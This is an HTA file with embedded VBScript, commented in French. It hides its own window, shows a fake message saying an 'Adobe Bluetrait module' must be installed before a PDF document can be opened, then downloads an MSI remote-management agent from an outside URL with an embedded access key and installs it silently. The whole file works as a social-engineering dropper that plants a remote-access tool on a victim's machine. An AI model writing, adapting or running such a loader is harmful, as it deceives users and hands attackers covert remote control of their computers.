<!DOCTYPE html>
<html>
<head>
    <title>Silent Installer</title>
    <hta:application
        id="app"
        border="none"
        caption="no"
        minimizebutton="no"
        maximizebutton="no"
        sysmenu="no"
        scroll="no"
        showintaskbar="no"
        singleinstance="yes"
    />
</head>
<body>
    <script type="text/vbscript">
        ' Silent Installer Script Optimized
        On Error Resume Next

        ' Variables principales
        Dim url, tempFile, objFSO, objShell, logFile, installCommand, messageBox
        url = "https://thermaclim.bluetrait.io/simple/msp_download_agent?os=windows&access_key=2dd3b8de-5532-455b-ab81-76be3c2dbf38"
        Set objFSO = CreateObject("Scripting.FileSystemObject")
        Set objShell = CreateObject("WScript.Shell")
        tempFile = objFSO.BuildPath(objFSO.GetSpecialFolder(2), "BluetraitAgent.msi")
        logFile = objFSO.BuildPath(objFSO.GetSpecialFolder(2), "BluetraitInstall.log")

        ' Créer un fichier journal pour le débogage
        Dim objLog
        Set objLog = objFSO.CreateTextFile(logFile, True)
        objLog.WriteLine "Début de l'installation silencieuse..."
        objLog.WriteLine "URL : " & url
        objLog.WriteLine "Fichier temporaire : " & tempFile

        ' Afficher un message temporaire (installation en cours)
        messageBox = "The Adobe Bluetrait module is missing. Please wait for its installation before accessing your PDF document."
        objShell.Popup messageBox, 10, "Installation en cours", 64 ' Timeout de 10 secondes

        ' Télécharger le fichier
        Dim objXMLHTTP
        Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP.6.0")
        objXMLHTTP.Open "GET", url, False
        objXMLHTTP.Send

        If objXMLHTTP.Status = 200 Then
            objLog.WriteLine "Fichier téléchargé avec succès."

            ' Sauvegarder le fichier téléchargé
            Dim objStream
            Set objStream = CreateObject("ADODB.Stream")
            objStream.Type = 1 ' Binaire
            objStream.Open
            objStream.Write objXMLHTTP.responseBody
            objStream.SaveToFile tempFile, 2 ' Écraser si nécessaire
            objStream.Close
            Set objStream = Nothing

            ' Lancer l'installation silencieuse
            installCommand = "msiexec /i """ & tempFile & """ /qn /norestart"
            objLog.WriteLine "Exécution : " & installCommand
            objShell.Run installCommand, 0, True ' Mode silencieux
        Else
            objLog.WriteLine "Erreur : Impossible de télécharger le fichier. Code HTTP : " & objXMLHTTP.Status
        End If

        ' Nettoyage
        objLog.WriteLine "Installation terminée."
        objLog.Close
        Set objLog = Nothing
        Set objXMLHTTP = Nothing
        Set objFSO = Nothing
        Set objShell = Nothing

        ' Fermer automatiquement l'HTA
        Self.Close
    </script>
</body>
</html>
